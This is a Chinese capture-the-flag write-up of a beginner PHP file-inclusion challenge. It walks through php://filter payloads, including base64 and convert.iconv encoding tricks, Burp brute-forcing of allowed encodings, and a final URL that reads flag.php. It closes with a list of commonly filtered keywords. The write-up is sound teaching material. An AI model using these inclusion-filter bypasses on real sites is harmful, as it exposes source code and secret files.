攻防世界WEB(新手模式)19-file_include

先进行代码分析

  1. include("./check.php");:包含并执行当前目录下的check.php文件,通常用于引入一些通用的函数、类或配置信息。
  2. if(isset($_GET['filename'])):检查是否通过 GET 请求传递了名为filename的参数。
  3. 如果传递了filename参数,则将其值赋给变量$filename,然后使用include($filename);包含并执行该文件。

查看check.php,一般情况下肯定会被过滤

果然是什么都没有,那接下来我们构造payload

复制代码
?filename=php://filter/read=convert.base64-encode/resource=check.php

天塌了被过滤了

复制代码
转换过滤器
在激活 iconv 的前提下可以使用 convert.iconv.* 压缩过滤器, 
等同于用 iconv() 处理所有的流数据。 该过滤器不支持参数,
但可使用输入/输出的编码名称,组成过滤器名称,
比如 convert.iconv.<input-encoding>.<output-encoding> 
或 convert.iconv.<input-encoding>/<output-encoding> 
(两种写法的语义都相同)。

支持的编码集

复制代码
UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
EUC-JP*
SJIS*
eucJP-win*
SJIS-win*
ISO-2022-JP
ISO-2022-JP-MS
CP932
CP51932
SJIS-mac(别名:MacJapanese)
SJIS-Mobile#DOCOMO(别名:SJIS-DOCOMO)
SJIS-Mobile#KDDI(别名:SJIS-KDDI)
SJIS-Mobile#SOFTBANK(别名:SJIS-SOFTBANK)
UTF-8-Mobile#DOCOMO(别名:UTF-8-DOCOMO)
UTF-8-Mobile#KDDI-A
UTF-8-Mobile#KDDI-B(别名:UTF-8-KDDI)
UTF-8-Mobile#SOFTBANK(别名:UTF-8-SOFTBANK)
ISO-2022-JP-MOBILE#KDDI(别名:ISO-2022-JP-KDDI)
JIS
JIS-ms
CP50220
CP50220raw
CP50221
CP50222
ISO-8859-1*
ISO-8859-2*
ISO-8859-3*
ISO-8859-4*
ISO-8859-5*
ISO-8859-6*
ISO-8859-7*
ISO-8859-8*
ISO-8859-9*
ISO-8859-10*
ISO-8859-13*
ISO-8859-14*
ISO-8859-15*
ISO-8859-16*
byte2be
byte2le
byte4be
byte4le
BASE64
HTML-ENTITIES(别名:HTML)
7bit
8bit
EUC-CN*
CP936
GB18030
HZ
EUC-TW*
CP950
BIG-5*
EUC-KR*
UHC(别名:CP949)
ISO-2022-KR
Windows-1251(别名:CP1251)
Windows-1252(别名:CP1252)
CP866(别名:IBM866)
KOI8-R*
KOI8-U*
ArmSCII-8(别名:ArmSCII8)

使用payload 进行测试,发现对编码方式也有过滤

复制代码
?filename=php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php

那就用bp爆破一下

发现这几个的编码方式都可以,随便用一个编码,这里我用的是utf-32

复制代码
http://61.147.171.106:56903/?filename=php://filter/convert.iconv..UTF-32%2a/resource=flag.php

一般过滤情况【base、be(过滤字符编码)、encode、print、zlib、quoted、write、rot13、read、string、i】

相关推荐
梦曦i7 小时前
@meng-xi/create-uni-app vs unibest:轻量脚手架与重型框架的定位之争
前端·uni-app
平头哥技术团队7 小时前
Day 10 | 工欲善其事:VS Code 配置与项目归档
android·开发语言·前端·javascript·html·交互
乌恩大侠8 小时前
GH200 新增 NVMe SSD 分区、格式化与挂载完整流程
运维·服务器·前端
yume_sibai8 小时前
Element Plus 数据展示组件完全指南(15个核心组件)
前端·javascript·vue.js
冬木家居8 小时前
40㎡客厅变形记,小家住出大自由[特殊字符]
android·经验分享·笔记·智能家居·微信公众平台
qiuhaipeng18 小时前
Claude code 升级后上下文长度变短问题
java·前端·数据库
zzz_23689 小时前
个人 AI 记忆如何跨工具复用:用 Markdown、索引和 Skill 搭一个可治理的记忆库
前端·人工智能·react.js·前端框架·agent·agent测评
AFinalStone9 小时前
Android 7系统无障碍服务(六)输入事件拦截与 TouchExplorer
android·无障碍服务
天空之城--9 小时前
MT管理器Android逆向工程完全指南:从入门到实战
android
Anhty10 小时前
2026九月最新变声器测评:iOS安卓双端适配,低延迟运行更稳定
android·人工智能·功能测试·ios·智能手机